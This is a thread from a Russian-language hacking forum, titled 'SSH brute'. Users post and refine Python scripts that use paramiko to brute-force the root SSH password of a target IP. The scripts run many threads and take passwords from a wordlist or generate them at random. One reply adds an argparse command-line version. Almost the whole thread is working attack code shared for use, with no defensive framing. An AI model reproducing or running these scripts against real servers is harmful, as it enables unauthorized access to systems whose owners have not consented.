• XSS.stack #1 – первый литературный журнал от юзеров форума

[Script] SSH brute

Guest

Премиум
Пользователь
Регистрация
31.01.2023
Сообщения
250
Решения
1
Реакции
232
Гарант сделки
1
Feel free to modify this script to suit your needs
Python:
import paramiko
import os
from concurrent.futures import ThreadPoolExecutor

print("""
   ___ ___ _  _   ___          _       
 / __/ __| || | | _ )_ _ _  _| |_ ___
 \__ \__ \ __ | | _ \ '_| || |  _/ -_)
 |___/___/_||_| |___/_|  \_,_|\__\___|
                                      

By Dynam1c
""")

sshserver = input("Target IP: ")
prlyroot = "root"
wordlist = input("Path to wordlist: ")

with open(wordlist, "r", encoding="latin1") as f:
    file = [line.strip() for line in f]

while True:
    threads = int(input("Threads to use (1-10): "))
    if threads < 1 or threads > 10:
        print("Error (1-10)!")
    else:
        break

def list(password):
    print(f"Trying password > {password}")
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        ssh.connect(sshserver, username=prlyroot, password=password)
        print(f"Recovered > {password}")
        os._exit(1)
    except paramiko.ssh_exception.AuthenticationException:
        return ('Invalid', password)
    except paramiko.ssh_exception.SSHException:
        return ('Error', password)
    finally:
        ssh.close()

with ThreadPoolExecutor(max_workers=threads) as executor:
    results = executor.map(list, file)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
++
Don't let negative people pollute your energy, if someone finds that some things are shit either he ignores this shit, or he corrects this shit, it's tiring to see guys like this all over the internet who speaks without bringing anything better
 
Python:
import os
import string
import random
from concurrent.futures import ThreadPoolExecutor
import paramiko

sshserver = input("Target IP: ")
prlyroot = "root"

while True:
    print("1) Wordlist\n2) Random")
    choice = input("Enter option(1-2):")
    if choice == '1':
        wordlist = input("Path to wordlist: ")
        with open(wordlist, "r", encoding="latin1") as f:
            ranpswd = [line.strip() for line in f]
        break
    elif choice == '2':
        while True:
            howlong = int(input("Length of password(1-100): "))
            if howlong < 1 or howlong > 100:
                print("Error(1-100)!")
            else:
                break

        while True:
            howmuch = int(input("Number of passwords to generate(1-1000000): "))
            if howmuch < 1 or howmuch > 1000000:
                print("Error(1-1000000)!")
            else:
                break

        ranpswd = []
        for i in range(howmuch):
            chars = string.ascii_letters + string.digits + string.punctuation
            pswd = ''.join(random.choices(chars, k=howlong))
            ranpswd.append(pswd)
        break
    else:
        print("Error!")

while True:
    threads = int(input("Threads to use(1-10): "))
    if threads < 1 or threads > 10:
        print("Error(1-10)!")
    else:
        break

def list(pswd):
    print(f"Attempting password > {pswd}")
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        ssh.connect(sshserver, username=prlyroot, password=pswd)
        print(f"Recovered > {pswd}")
        os._exit(1)
    except paramiko.ssh_exception.AuthenticationException:
        return ('Error', pswd)
    except paramiko.ssh_exception.SSHException:
        return ('Error', pswd)
    finally:
        ssh.close()

with ThreadPoolExecutor(max_workers=threads) as executor:
    results = executor.map(list, ranpswd)




Python:
import argparse
import os
import string
import random
import concurrent.futures
import paramiko

def parse_args():
    parser = argparse.ArgumentParser(description='SSH brute-force script')
    parser.add_argument('ip', help='Target IP address')
    parser.add_argument('-w', '--wordlist', help='Path to wordlist')
    parser.add_argument('-l', '--length', type=int, choices=range(1, 101), help='Length of password')
    parser.add_argument('-n', '--num', type=int, choices=range(1, 1000001), help='Number of passwords to generate')
    parser.add_argument('-t', '--threads', type=int, choices=range(1, 11), help='Number of threads to use')
    return parser.parse_args()

def generate_passwords(length, num):
    chars = string.ascii_letters + string.digits + string.punctuation
    return [''.join(random.choices(chars, k=length)) for i in range(num)]

def load_wordlist(path):
    with open(path, "r", encoding="latin1") as f:
        return [line.strip() for line in f]

def test_password(ip, username, password):
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        ssh.connect(ip, username=username, password=password)
        print(f'Recovered password: {password}')
        os._exit(1)
    except paramiko.ssh_exception.AuthenticationException:
        return ('Error', password)
    except paramiko.ssh_exception.SSHException:
        return ('Error', password)
    finally:
        ssh.close()

def main():
    args = parse_args()

    if not args.wordlist and not args.length and not args.num:
        print('At least one of -w/--wordlist, -l/--length, or -n/--num must be specified.')
        return

    if args.wordlist and (args.length or args.num):
        print('-w/--wordlist cannot be used with -l/--length or -n/--num.')
        return

    if args.length and not args.num:
        print('-l/--length requires -n/--num to be specified.')
        return

    if args.num and not args.length:
        print('-n/--num requires -l/--length to be specified.')
        return

    if args.wordlist:
        passwords = load_wordlist(args.wordlist)
    else:
        passwords = generate_passwords(args.length, args.num)

    if not passwords:
        print('No passwords to test.')
        return

    threads = args.threads or 1
    with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as executor:
        results = executor.map(lambda p: test_password(args.ip, 'root', p), passwords)

if __name__ == '__main__':
    main()

Почему нельзя использовать argparse вместо input() для приема аргументов командной строки ? Или не добавить обработку ошибок чтобы перехватывать исключения которые по пути могут вылезти ?
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх